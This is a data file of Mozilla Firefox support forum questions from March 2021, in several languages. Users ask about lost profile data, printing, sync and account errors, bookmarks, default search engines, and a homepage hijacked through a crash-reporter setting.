# 2021-yearly-ff-questions-en-us

created: 2021-03-01T18:50:59-08:00
updated: 2021-03-02T11:09:23-08:00
title: Missing ALL Firefox Data
tags: mac-os;desktop;other;escalate;dataloss;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1395911;1395922;1396052;
creator: AJ2222
content:
<p>I cannot seem to retrieve any of my Firefox data. My bookmarks, plugins, login and password data are just gone. Years of data are gone. There is no "old profile data" and oddly enough none of the profiles have anything in them anyways. I have tried everything suggested and NOTHING has worked. Most people have no clue about the files and folders and definitely shouldn't be moving stuff around as most of the threads have suggested. What is a key3 or 4 file? Why should I have to move it? Where does one move it to? None of the threads on this topic are helpful and there's no way to just ask a person who works here? Considering this seems to happen to a lot of people it should be made much easier to do. I can't even import my old logins from Safari. Is years of my data just gone? If Im signed into my Firefox account shouldn't it be there, or what is the point of having one? I need a very easy solution to this extremely frustrating issue. </p>


created: 2021-03-01T17:34:51-08:00
updated: 2021-03-02T15:26:29-08:00
title: Firefox color management on Mac seems broken, renders all color over saturate.
tags: mac-os;desktop;websites;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396099;
creator: abnernat
content:
<p>My Firefox version is 86.0 on Mac. OS Version is 11.2.2 Big Sur. </p><p>I found that basically all color rendered in Firefox is more vibrant than Safari and Chrome, maybe Firefox doesn't handles color management right and renders sRGB in full P3 color space, lead to a over saturate color for almost every element on webpage. </p><p>Hopes firefox can fix this soon, I love the efficiency and privacy features on Firefox, This is the only bit I found a little uncomfortable. </p><p>You can test your browser here: <a href="https://cameratico.com/tools/web-browser-color-management-test/" rel="nofollow">https://cameratico.com/tools/web-browser-color-management-test/</a> if you have a P3 support Mac or Windows. </p>


created: 2021-03-01T17:21:09-08:00
updated: 2021-03-01T17:21:09-08:00
title: Can you set how top sites are arranged?
tags: mac-os;desktop;tabs;firefox-860;
product: firefox
topic: tabs
locale: en-US
creator: StevenCee
content:
<p>I've got four rows of eight top sites, not sure what the default order they're in is based upon, but it would be nice if we could have them arranged alphabetically, as an option. Is this possible, or must we move each individual one manually, to accomplish this? </p>


created: 2021-03-01T16:10:46-08:00
updated: 2021-03-01T16:10:46-08:00
title: Playing Mjpeg video stream from Foscam and DLink cameras
tags: desktop;other;windows-10;firefox-850;
product: firefox
topic: other
locale: en-US
creator: dpot801
content:
<p>I am not able to see live Streaming MJPEG video from both of my cameras on my new Samsung S21 Ultra. I had an S10 Plus and Firefox played both cameras video stream just fine.  Odd thing is FireFox Focus plays both video streams like I experienced on my S10. But I have to login manually every time. I want to have the convenience of reg FireFox remembering user names etc.  Any help is appreciated. </p>


created: 2021-03-03T15:14:21-08:00
updated: 2021-03-03T15:14:21-08:00
title: PROBLEMA FIREFOX 86
tags: desktop;websites;
product: firefox
topic: websites
locale: en-US
creator: delegaciascp
content:
<p><strong>SENHORES, VOCÊS CRIARAM UM NAVEGADOR MARAVILHOSO, MAS NO MENU CONFIGURAÇÃO E IMPRESSÃO, EU FIQUEI UM DIA INTEIRO PROCURANDO PARA VER SE CONSEGUIA ACHAR O BOTÃO CONFIGURAR PAGINA, PORQUE EU USO UMA IMPRESSORA EPSON FX 890 E PARA QUE IMPRIMA O QUE PRECISO ELA PRECISA SER CONFIGURADA COM CABEÇALHO 0, RODAPÉ 0, DIREITA 5,0 E ESQUERDA 5,0 DE MARGEM, MAS EU NÃO ACHEI EM CANTO NENHUM O BOTÃO CONFIGURAR PAGINA DE IMPRESSÃO PARA QUE PUDESSE USAR A IMPRESSORA SEM O DESALINHAMENTO DO PAPEL. EU ACHEI ESTE BOTÃO NO FIREFOX 83 DEPOIS DISSO NÃO ACHEI NOUTRAS VERSÕES. É UM BOTÃO IMPORTANTÍSSIMO PRECISO ACHA-LO NA VERSÃO 86 SE EXISTIR. SOCORRO. NÃO ACHEI NA INTERNET UM TUTORIAL QUE ME AJUDASSE TODOS DIZEM PARA CLICAR NO BOTÃO CONFIGURAR PAGINA, MAS NA VERSÃO 86 ELE NÃO ESTA EM CANTO NENHUM.</strong> </p>


created: 2021-03-03T14:18:14-08:00
updated: 2021-03-03T14:18:14-08:00
title: Firefox account problem
tags: desktop;sync;escalate;windows-10;syncerr;firefox-860;
product: firefox
topic: sync
locale: en-US
creator: Fedtsten
content:
<p>All PC's mentioned below are on the same router and LAN, and all are using Firefox 86 x64 on Windows 10. </p><p>I have been a Firefox user for many, many years (I started using browsers in the 90's, 'nuff said). But having recently reinstalled a PC, I found myself unable to initiate sync on the new Firefox install there. I kept getting the error "NetworkError when attempting to fetch resource." in a red box when I entered my password. Perplexed, I tried creating a support ticket on another of my PC's (let's call it #2) - same error there when trying to sign in to Firefox support! I then tried to use that browser to access my account by going to Account Settings -&gt; Manage Account. I was met with a circle animation - and a completely blank webpage. </p><p>This post is being created from my third PC, where, for some odd reason, the Manage Account function actually works, and where I was also able to sign into support. I made a change to my bookmarks on PC/Firefox #2, to see if sync was still working - and it did come through to PC #3. After that, I was finally able to start a sync on PC #1 (the newly installed one). </p><p>But I am still unable to do anything with my account on PC #2. Can't sign in to support, can't access Manage Account. And this cannot be purely about the profile or installation, as the issue was affecting PC #1 as well. </p><p>It seems like Mozilla's account management is really wobbly, and my prime suspect is the shift to "Firefox Accounts" on the support pages recently. But I'm open to being proved wrong. </p><p>Just hoping someone out there can tell me what this issue is, and how I fix it. The fact that I was unable to sign in to my Firefox Account from a completely new Firefox install makes me very uncomfortable. And my primary PC (#2) is still unable to manage that account, or sign in to the support pages. </p><p>Thanks in advance. </p>


created: 2021-03-03T14:08:33-08:00
updated: 2021-03-03T14:08:33-08:00
title: displaying arabic name when launching zoom from firefox browser
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
creator: jonathan.huppert
content:
<p>For some reason, when I launch Zoom from Firefox, I cannot display my name automatically in Arabic. If I log in to someone else's meeting, it works fine, and if I log in via a different browser like Chrome it works fine. It is only if I launch Zoom from firefox. Any suggestions? </p>


created: 2021-03-03T14:03:48-08:00
updated: 2021-03-04T09:24:57-08:00
title: firefox update earlier today has resulted in verious webppages crashing the browser
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396282;1396283;1396325;1396328;1396337;1396370;
creator: therobertc
content:
<p>Hi, </p><p>A firebox browser automatic update earlier today has resulted in various pages I visit subsequently crashing the browser. </p><p>It is particularly problematic because one page that now crashes is my Barclays Bank login page, which I normally check every few days. </p><p>I know that rollback of updates is not recommended, perhaps not even allowed, but surely if an update results in a page like Barclays crashing the browser then there must be a fix pending? </p><p>Please do not reply with "try another browser" or "try your phone" - I don't do banking on my phone, and find both Chrome and Edge packed with too much ad crap, making browsing painfuly slow. </p><p>I would prefer you to reply with "Here is how to fix it so you can continue to use Firefox..." </p><p>Kind regards, </p><p>R </p>


created: 2021-03-03T13:41:17-08:00
updated: 2021-03-04T11:29:17-08:00
title: seguridad
tags: desktop;privacy-and-security_1;windows-10;firefox-860;
product: firefox
topic: privacy-and-security
locale: es
answers: 1396402;1396403;
creator: enterprise.sinf
content:
<p>hola, necesito utilizar el navegador en mi trabajo y es una máquina a la que tienen acceso otras personas. Cuando cierro la sesión, quiero que la barra de marcadores se borre, y no quede accesible al resto de los usuarios. No logro hacerlo, ni en modo de ventana privada, se puede hacer eso? muchas gracias </p>


created: 2021-03-03T13:38:53-08:00
updated: 2021-03-08T13:05:54-08:00
title: How to retrieve an add-on account
tags: desktop;other;
product: firefox
topic: other
locale: en-US
answers: 1396272;1397276;
creator: ervael
content:
<p>Hi, </p><p>I'm the administrator for Dol Celeb, a website and there is some years ago, i've created an account for themes : <a href="https://addons.mozilla.org/fr/firefox/addon/dol-celeb/" rel="nofollow">https://addons.mozilla.org/fr/firefox/addon/dol-celeb/</a> </p><p>We have changed or website design and i'd like to create a new theme for my community. The problem, i've no longer access to this account and i've no idea how to retrieve it. I've still got all Dol Celeb mail address but that seems no one is the related to this account. </p><p>Is there a way to do something ? It should be nice to retrieve this official page we have created. </p><p>Thanks by advance for your help </p>


created: 2021-03-03T13:35:54-08:00
updated: 2021-03-03T13:35:54-08:00
title: Problems downloading from some websites.
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: lindasj52
content:
<p>I get a message under the toolbar in bright yellow background that Firefox is slowing my browser down when I am browsing certain web sites such as clothing and sometimes on the Yahoo news site.  This is happening more frequently and I would like to know how to fix it.  Thanks </p>


created: 2021-03-03T13:24:07-08:00
updated: 2021-03-11T20:47:31-08:00
title: Bookmarks issue
tags: desktop;bookmarks;windows-10;firefox-860;
product: firefox
topic: bookmarks
locale: en-US
answers: 1398135;1398137;1398140;1398142;1398147;1398150;
creator: samwindsor
content:
<p>sine Ver 84 update , when you want to edit a bookmarks , the alignment in the middle of the bookmarks name and the name is highlighted for some reason. did anyone notes and how i can put it back to normal as i do edit a lot of my bookmarks and i usually just add the date in front of the name ( the name is way longer than the screen shot i attached ) </p>


created: 2021-03-03T13:09:03-08:00
updated: 2021-03-07T07:00:37-08:00
title: Websites load slowly on Firefox
tags: desktop;fix-problems;windows-10;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396946;1396949;
creator: Julieeeeen
content:
<p>I've been having the problem of websites loading slowly on Firefox for a few days now. Firefox itself loads quickly, but opening Youtube for example takes a very long time.  </p><p>I have this problem since I have a new internet line, yet this is most likely not the problem, since on chrome this problem does not occur. </p><p>As a solution I have cleaned firefox and even clean reinstalled it. However, the problem still occurs. I suspect that this is a problem related to my profile. Even opening it without addons does nothing.  </p><p>Any ideas? </p>


created: 2021-03-03T13:08:05-08:00
updated: 2021-03-03T13:46:20-08:00
title: No carga gmail
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: es
answers: 1396265;
creator: carmenagu
content:
<p>Hola, mozilla es mi navegador favorito y siempre lo uso para mi correo electrónico de gmail, pero hoy por sorpresa no me deja cargarlo, ni siquiera la página de gmail. si entro en mi cuenta de google pero no me deja en gmail. Hasta he cambiado contraseñas y nada y cuando he conseguido entrar al identificador y pongo la contraseña se queda petado eternamente cargandose.. Si puedo entras con el mismo dispositivo con otro navegrador el crome. Por favor necesito ayuda. He mirado mis complementos pero no veo nada sospechoso. Gracias </p>


created: 2021-03-03T12:56:40-08:00
updated: 2021-03-09T05:07:17-08:00
title: crash report
tags: desktop;privacy-and-security_1;escalate;windows-10;shutdownhang;bug_1;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
answers: 1396326;1396331;1396710;1396735;1397410;1397415;1397416;1397417;1397422;
creator: domenico.minutella
content:
<p>Hello, I recently sent my firefox crash report to mozilla including the webpages I was visiting. </p><p>My concern is: will be kept the privacy of the page I was visiting? simply because it was my email and linkedin account :) </p><p><br> </p><p><br> thanks, </p>


created: 2021-03-03T12:47:07-08:00
updated: 2021-03-03T14:22:53-08:00
title: Why do PDF's from Outlook all of a sudden open in Firefox? How do I turn this off?
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396250;1396270;
creator: johnaclayman
content:
<p>Yes, I have set the options to open, see attached.  If I go to a website and click on a PDF it will open in Adobe Reader. When I go to <a href="http://Outlook.live.com" rel="nofollow">Outlook.live.com</a> for my email and click on the PDF it opens them in a Firefox preview. When I print them from Firefox it takes an average of 5 minutes per page. If I download and open in Adobe it takes seconds to print the entire file. </p>


created: 2021-03-03T12:15:30-08:00
updated: 2021-03-03T12:15:30-08:00
title: Login credentials disappear
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
creator: jelach
content:
<p>I recently attempted to log in to a credit card processing site with the username and password stored in Firefox.  Firefox auto-supplied just my username, and when I tabbed to the password field to enter that info, the username disappeared.  If I tried to enter the password and return to the username field, the password disappeared.  The site naturally read this as an incorrect login attempt.  Tech support for the site suggested this was a browser issue and recommended I switch to another browser, and they advised clearing the cookies and cache before each time I log into their site.  Sort of defeats one benefit of having a computer. </p><p>I'm using version 86.0 of Firefox released 2/23/21 -- my last successful use of the site was 2/15/21 so I'm wondering if anybody else has seen this happen in version 86.0? </p>


created: 2021-03-03T12:15:12-08:00
updated: 2021-03-03T12:53:39-08:00
tags: desktop;customize;windows-10;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1396251;
creator: BelaBill
title:
setting defaults for the browser, no matter how many times I try to set my prfferances they change back to the original ones. no I am not able to put in suggestions.

content:
<p>setting defaults for the browser, no matter how many times I try to set my preferences they change back to the original ones. no I am not able to put in suggestions. </p>


created: 2021-03-03T11:46:10-08:00
updated: 2021-03-03T11:48:10-08:00
title: Over 40+ Gb files cubeb on Temp
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1396238;
creator: mcnik21
content:
<p>Use browser on server, for serfing and any working tasks. Not using audio and video content. Once on 2-3 days of any users temp files is really fast getting oversize mass for this files. Reboot browser clear this files and this problem stop, and back again through 2-3 days. Have last version 86.0 Look first on 85.2 </p>


created: 2021-03-03T11:27:03-08:00
updated: 2021-03-04T19:31:48-08:00
title: Firefox v86.0 reverts back to previous version.
tags: desktop;download-and-install;download-and-install_1;escalate;upgrade;firefox-860;firefox-8502;
product: firefox
topic: download-and-install
locale: en-US
answers: 1396252;1396393;1396469;
creator: kerwin_washington
content:
<p>What is causing the browser to revert back to previous version? The previous version was 85.02. I have uninstalled Firefox and reinstalled v86.0. Eventually, the browser reverts back to the previous version. When I tried to open the browser, the following message appears: </p><p>You've launched an older version of Firefox Using an older version of Firefox can corrupt bookmarks and browsing history already saved to an existing Firefox profile. To protect your information, create a new profile for the installation of Firefox. </p><pre>                                                                               Exit              Create New Profile </pre>


created: 2021-03-03T11:20:44-08:00
updated: 2021-03-03T11:20:44-08:00
title: Arial Font disappeared from Google Docs/Spreadsheets on Firefox
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
creator: MR18Howard
content:
<p>Since the latest Firefox Update (Version 86.0), the Standard "Arial" Font has been missing from Google Spreadsheets (and Docs) and has been replaced with the inferior "Sans Serif". IIRC, this has happened once in the past (after a Firefox update), but was corrected after a few days. Is there any way to add Arial again or does one simply have to hope this issue will somehow be fixed in a future update? </p><p>I should add that this only does occur when using Firefox + Windows, any other combination (like with Chrome on Windows or Firefox on Mac) does still display the original font. </p>


created: 2021-03-03T11:16:42-08:00
updated: 2021-03-03T12:59:25-08:00
title: Persistent Find Bar
tags: linux;desktop;customize;firefox-680;
product: firefox
topic: customize
locale: en-US
answers: 1396258;
creator: lumania
content:
<p>I was wondering if their was a way to switch the find bar bar back to the old way of searching. The way it is now is annoying. When I use find it's usually the same search across multiple tabs. Now I have to open the find in each tab and if I change the find in one tab it doesn't change across the other find bars so I now have to change each individually. Thanks. </p>


created: 2021-03-03T11:04:50-08:00
updated: 2021-03-05T12:34:07-08:00
title: Bookmarks rearrange themselves, cannot delete duplicates
tags: desktop;bookmarks;windows-10;firefox-860;
product: firefox
topic: bookmarks
locale: en-US
answers: 1396253;1396263;1396267;1396602;
creator: twobitranch
content:
<p>Hi.  Over the past few weeks my bookmarks rearrange themselves.  For example, I have several folders in Bookmarks Toolbar, and I alphabetize the bookmarks in each folder.  Now they rearrange themselves, and frequently generate duplicates.  When I try to delete a duplicate, both bookmarks are deleted.  Help, please! </p>


created: 2021-03-03T10:44:09-08:00
updated: 2021-03-03T13:27:33-08:00
title: Seite laden
tags: desktop;privacy-and-security_1;windows-10;firefox-860;
product: firefox
topic: privacy-and-security
locale: en-US
answers: 1396264;
creator: kaefferleinnor
content:
<p><strong>bold text</strong>webseite fwird immer gesperrt. Warum kann ich diese nicht freischalten </p><p><br> <a href="http://go2.mindmanager.com" rel="nofollow">http://go2.mindmanager.com</a> </p>


created: 2021-03-03T10:39:04-08:00
updated: 2021-03-03T11:40:22-08:00
title: Firefox/Win10
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1396227;1396231;1396232;
creator: tisl90
content:
<p>I got following issue: on every site, i get a blinking cursor like I could type there (happens on every space/text without links, banners etc.) when I click somewhere, is there a way to stop firefox from doing that? </p>


created: 2021-03-03T10:27:23-08:00
updated: 2021-03-03T13:13:11-08:00
title: update changed firefox-website
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1396261;
creator: renateky1
content:
<p>Some days ago I noticed a change in the outfit of the firefox basic website: It concerns the upper menue-line. There is still in the right upper corner the `x ´ , the sign for closing the page.( note the red flash in my picture!) But I am missing the `-´ and the square sign, with which I can hide and open a hidden page. So I don´t know, how to switch between several pages, i.e., I can´t make dissappear this page, in order to use the translation page. </p>


created: 2021-03-03T10:17:49-08:00
updated: 2021-03-03T14:51:51-08:00
title: Cannot change default search engine from DuckDuckGo to something else
tags: linux;desktop;customize;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1396259;1396278;
creator: vgivanovic
content:
<p>Even in safe mode, I cannot make a change to my default search engine stick; it always reverts to DuckDuckGo.  </p><p>After changing the default search engine in Preferences-&gt;Search to, say, Ecosia Search, typing a space character in the address+search bar goes from a generic world favicon to DuckDuckGo. Restarting with a cleared cache doesn't help.  </p><p>None of my addons are related to search except Ecosia Search. Even with Ecosia Search removed, I get the same behavior, the default search engine reverts to DuckDuckGo. In any case, safe mode with all addons disabled doesn't change that behavior. </p><p>If i remove DuckDuckGo from the list of search engines, I cannot search at all and I cannot choose a default search enigne from the drop down list in Preferences-&gt;Search. </p><p>Note that I can always choose an alternate search engine in the drop down search menu, and that works. Setting a default search engine doesn't work. </p><p>Any suggestions on how to make a search engine other than DuckDuckGo be my default search engine would be appreciated. As a bonus, an explanation of why I'm having this difficulty would be wonderful. </p><p>TIA. </p>


created: 2021-03-03T09:14:31-08:00
updated: 2021-03-03T12:59:02-08:00
title: Delete bookmarks
tags: desktop;bookmarks;windows-10;firefox-860;
product: firefox
topic: bookmarks
locale: en-US
answers: 1396257;
creator: drmaginnis
content:
<p>I synched my browser with Google Chrome and now I can't delete bookmarks.  Any tips?  I'd like to "unsync" from Chrome if that's possible. Thanks! </p>


created: 2021-03-03T09:11:35-08:00
updated: 2021-03-03T13:10:23-08:00
title: Custom file for custom application being downloaded as text file, appending ".txt"
tags: desktop;download-and-install_1;windows-10;firefox-860;
product: firefox
topic: download-and-install
locale: en-US
answers: 1396260;
creator: jerseyfonseca
content:
<p>When I download a file with my custom extension, i.e. "sample.abc", it is becoming "sample.abc.txt"  </p><p>This does not happen in Google Chrome. Any idea why this is coming over as "text/plain" mimetype and how to fix it? </p>


created: 2021-03-03T09:04:00-08:00
updated: 2021-03-03T14:06:27-08:00
title: persevering data retoring session
tags: windows-7;desktop;customize;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1396269;
creator: tinabea17
content:
<p>I sought without answer to see how to PREVENT restoring previous sessions, freezing my computer because FF did not clear previous sessions, internet access freezing when social media sites weren't cleared, as they used to be. And then, reading the solution on, how to access restoresession options, I come upon about:config and search browser.session I see the problem. Instead of setting options to clear previous history, FF now has uncountable options which  - hide browsers I've deletes, like Bing  - maintain restoring sessions up to 5, 10, 32 times, even though I've set the option to never - keep data I wanted deleted, in Top sites, in pocket, in other options - set Google as the default translator even though I've chosen not to use it I am seriously disappointed in Firefox and Mozilla. I have used it since I found it one- two ? decades ago because it WASN'T wired into the top-heavy, data-excessive, intrusive-spying behemoths of Google and Microsoft. Did Google buy you out, or something? I do notice that the wonderful creative-commons data options have been swallowed up by those icons of not-for-profit and community sharing, google-android, every for-profit phone companies (ATT, Verizon,etc.) How sad and ironic. I found my solution was, select 0 for many, many browser.?? options and deleting the history I found in various switches. Posting this to share my disillusion. </p>


created: 2021-03-03T08:55:03-08:00
updated: 2021-03-07T11:40:21-08:00
title: A website is slowing down your browser error message
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396963;1396970;
creator: lynniedear
content:
<p>I only get "A website is slowing down your browser..." message when on <a href="http://MSN.com" rel="nofollow">MSN.com</a>. This only started recently. I have cleared cache, history, etc. - nothing helps. Is there a fix? (Other than not going on MSN?) Thank you for any help. </p>


created: 2021-03-03T08:40:18-08:00
updated: 2021-03-03T08:40:18-08:00
title: Tooltips show up on primary monitor when using Firefox on a secondary monitor
tags: mac-os;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
creator: aebicalho
content:
<p>I have a Macbook laptop and I'm using a secondary screen. I use Firefox on my secondary screen, and anytime I hover over a bookmark or a button that has a tooltip, the tooltip shows on my primary monitor, instead of showing on the secondary monitor. Steps to reproduce: 1. Setup a Mac with a secondary monitor 2. Launch Firefox on the second monitor 3. Enable the Bookmark Bar and make sure you have some bookmark set in a folder structure 4. Open one of the folder so it drops down 5. Hover over one of the items in the folder SEE: The tooltip appears on the primary monitor floating over empty space, instead of hovering over the proper menu entry in the secondary monitor </p><p>I have attached a screen capture (obscuring some personal items). </p><p>Note: Some tooltips show in the right place, but all bookmark tooltips, </p>


created: 2021-03-03T08:06:15-08:00
updated: 2021-03-03T08:40:13-08:00
title: master password
tags: desktop;other;windows-10;firefox-860;
product: firefox
topic: other
locale: en-US
answers: 1396204;
creator: gentr
content:
<p>requires master password when opening browser???, i need to press cancel to navigate in browser, when this table should open in login and password. </p>


created: 2021-03-03T08:01:32-08:00
updated: 2021-03-12T03:32:08-08:00
title: Nothing Loading Within Firefox Application
tags: desktop;fix-problems;bug1624546;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396200;1396210;1396247;1398195;
creator: csioufi3
content:
<p>When opening Firefox, a window opens with menus and toolbars visible, but nothing loads or opens up when navigating the application.  No websites are loading, no menus are opening such as options or add-ons, and not even the mozilla landing page is loading.  I have tried doing a "Refresh". I have tried doing a clean reinstall.  I have run virus scans to see if malware was preventing it from opening websites.  I am having no issues with other browsers, just Mozilla Firefox.  I am unsure what to do if even a Firefox reinstall is not working.  The application wont even let me enable/disable add ons to see if that may be causing the problem. </p>


created: 2021-03-03T07:53:03-08:00
updated: 2021-03-04T07:57:33-08:00
title: Can one hide the Minimize button on the header bar.
tags: linux;desktop;customize;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1396266;1396358;
creator: Gpx45
content:
<p>Hello everyone, I'm working on customizing the Firefox experience for users within my organization. </p><p>I have to really limit their access. One of those requests were to prevent users from minimizing their active Firefox window.  </p><p>I've found articles like the one below that show how to hide all the buttons: <a href="https://support.mozilla.org/en-US/questions/906698" rel="nofollow">https://support.mozilla.org/en-US/questions/906698</a> </p><p>However it does not suit the purpose. since it removes all of them and only on full screen.  </p><p>Is there a way I can just hide the minimize button so that the user can just hide the minimize button? </p><p>Any help would be greatly appreciated. </p>


created: 2021-03-03T07:31:36-08:00
updated: 2021-03-08T06:42:45-08:00
title: Two-sided Printing is now BACKWARDS
tags: windows-7;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396205;1396284;1397180;
creator: jl11
content:
<p>Recently, I noticed Firefox has a new printer dialogue box. When that dialogue box starting showing up, all of my two-sided print jobs are BACKWARDS. The back page is flipped 180 degrees from the front page. WRONG! </p><p>As a sanity check, I double-checked with Chrome and Opera. No problem. Double-sided print jobs print as usual (i.e., when you flip the page over in the horizontal direction, the print orientation remains correct).  </p><p>HP1320 laser printer. Win 7 / 64 bit. HP printer driver. </p><p>Somehow, the new Firefox Browser printer dialogue overlay is overriding the HP printer driver. Please fix! </p>


created: 2021-03-03T07:27:58-08:00
updated: 2021-03-03T08:37:09-08:00
title: slideshows on websites dont run
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396201;1396203;
creator: sugarledgequarry
content:
<p>when viewing my website, the slideshows don't run. They do run on safari on my iphone, edge and google chrome on this laptop. </p>


created: 2021-03-03T07:18:10-08:00
updated: 2021-03-03T08:36:51-08:00
title: All my add ons automatically uninstalled every couple of weeks
tags: windows-7;desktop;customize;firefox-860;
product: firefox
topic: customize
locale: en-US
answers: 1396202;
creator: ivanbeisel
content:
<p>Since I started using firefox all my add ons get uninstalled for no reason from time to time. It's like the browser decides to wipe them all out and I have to reinstall them again, one by one. I tried creating an account and syncing, but the problem persists. And it happens on both my 2 computers. </p>


created: 2021-03-03T07:15:42-08:00
updated: 2021-03-07T09:10:46-08:00
title: Poor call quality on discord
tags: desktop;websites;windows-10;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396968;
creator: garbageclown
content:
<p>I recently switch from Chrome to firefox for my main browser, I really like it! However, I like to use a music bot to listen to music with my friends over a discord call. The audio I'm getting from the call is low quality (not choppy or anything but like, grainy? like you're using half broke old headphones) and I don't have a history of this happening. A refresh of the page didn't do anything. I'm assuming it's a firefox issue because this is the first time it's happened. Are there settings I can use to improve this? </p>


created: 2021-03-03T07:11:38-08:00
updated: 2021-03-03T07:16:28-08:00
title: Link is bad on Firefox but not on Chrome
tags: linux;desktop;fix-problems;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396187;
creator: jonrysh
content:
<p>This link fails on Firefox but works on Chrome.  Why? <a href="https://economix.blogs.nytimes.com/2010/10/28/labor-law-is-broken-economist-says/?te=1&amp;nl=paul-krugman&amp;emc=edit_pk_20210303" rel="nofollow">https://economix.blogs.nytimes.com/2010/10/28/labor-law-is-broken-economist-says/?te=1&amp;nl=paul-krugman&amp;emc=edit_pk_20210303</a> </p><p>The Firefox failure message is: Error 503 first byte timeout </p>


created: 2021-03-03T07:05:47-08:00
updated: 2021-03-03T08:45:09-08:00
tags: desktop;other;
product: firefox
topic: other
locale: en-US
answers: 1396188;1396206;
creator: narendrabhat.2011
title:
Not able to login as I am not able to access my gmail to get instructions on how to reset my password.

content:
<p>Sir,  Please advise as I am not able to log in and I am not able to access gmail for instructions on how to reset my password. Regards Mr. B. N. Bhat </p>


created: 2021-03-03T06:58:33-08:00
updated: 2021-03-03T11:44:01-08:00
title: Dropdown Menu Spacing (Padding) Issues in v 86
tags: mac-os;desktop;websites;firefox-860;
product: firefox
topic: websites
locale: en-US
answers: 1396208;1396213;1396215;1396217;1396220;1396221;1396229;
creator: craigplutz
content:
<p>I have an issue when viewing my site in Firefox. I have built custom dropdown menus in HTML and only in firefox does the space between items in the dropdown appear double what it does in other browsers. I have seen were others have said this is a padding issue only with Firefox but no way to "fix" it. Looking for some solutions. </p>


created: 2021-03-03T06:50:35-08:00
updated: 2021-03-03T07:25:19-08:00
title: e-mails
tags: windows-7;desktop;fix-problems;needsinfo;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396189;
creator: papag129
content:
<p>when composing e-mails every sentence is double spaced,how do I get it back to single space sentences? </p>


created: 2021-03-03T05:39:05-08:00
updated: 2021-03-03T07:30:31-08:00
title: FireFox running super slow at times?
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396191;
creator: dwight.godwin
content:
<p>Running Firefox 86.0 (64-bit) on Windows 10. </p><p>Runs fine but constantly halting with the blue spinning wheel and (Not Responding) message at the URL area. </p><p>Not related to RAM (have tons) Not related to any specific site I am visiting (Has happened twice trying to type this message) </p><p>What's up with this - is there a fix because I am not happy with it at all. </p><p>TIA </p><p>Dwight </p>


created: 2021-03-03T04:50:33-08:00
updated: 2021-03-03T04:50:33-08:00
title: Unable to progress past Profile selection screen after re-installing Firefox Nightly
tags: desktop;fix-problems;
product: firefox
topic: fix-problems
locale: en-US
creator: MIddKnight
content:
<p>I have attempted multiple fresh installations of Firefox Nightly, including previous versions. Upon start-up, Nightly opens the profile selection screen, and promptly hangs.  Only response is the Windows error sound upon clicking anywhere within the profile selection window. </p><p>I frequently have problems with Developer Edition and Nightly every time Windows forces a system update. To solve issues with Developer Edition, I usually have to roll back to version 79, then walk the versions forward. </p><p>Similar techniques have worked with Nightly in the past, however current attempts are failing at the profile window. </p><p>Since I am unable to get past profile creation, crash reports and dump files are not being generated. </p>


created: 2021-03-03T04:33:09-08:00
updated: 2021-03-03T07:33:59-08:00
title: Googlemeet
tags: desktop;other;
product: firefox
topic: other
locale: en-US
answers: 1396193;
creator: ms.larry
content:
<p>I can not join a googlemeet on my iPad. A message appears telling me that something went wrong to try again . </p>


created: 2021-03-03T04:21:56-08:00
updated: 2021-03-03T04:21:56-08:00
title: Dates in Mail
tags: mac-os;desktop;other;firefox-860;
product: firefox
topic: other
locale: en-US
creator: tpkallman
content:
<p>The dates are not always accurate in my mail account. for example, right now, some of my mail is showing a date of '<em>July 26, 2021'.</em> Sometimes, it looks like the date changes but when I get to the end of July, it recycles back to July 1 and starts over. On Apple Macbook with Mojave OS. </p>


created: 2021-03-03T04:16:38-08:00
updated: 2021-03-03T04:16:38-08:00
title: How to modify MOZ_CRASHREPORTER_RESTART_ARG_1 parameter
tags: desktop;fix-problems;windows-10;firefox-850;
product: firefox
topic: fix-problems
locale: en-US
creator: zhlwyy
content:
<p>when i open about:support, i find "MOZ_CRASHREPORTER_RESTART_ARG_1	" <a href="http://3304626.ker58.com" rel="nofollow">http://3304626.ker58.com</a>"。this make that when i open the firefox, it will open 	<a href="http://3304626.ker58.com" rel="nofollow">http://3304626.ker58.com</a>  as the Homepage ,how to delete that? </p>


created: 2021-03-03T04:00:16-08:00
updated: 2021-03-04T03:18:37-08:00
title: Instagram website disables Firefox back ( < ) button, why?
tags: desktop;fix-problems;windows-10;firefox-860;
product: firefox
topic: fix-problems
locale: en-US
answers: 1396209;1396335;
creator: stgmax
content:
<p>Whenever I open an Instagram profile or anything on that site the Back button will be greyed out as if the current (instagram) site was the first site that I visited in the current window or tab. No matter how many navigation moves and page/site changes I made previously in the same window/tab, it all just vanishes and I can't go back! </p>


created: 2021-03-03T03:33:23-08:00
updated: 2021-03-03T09:14:33-08:00
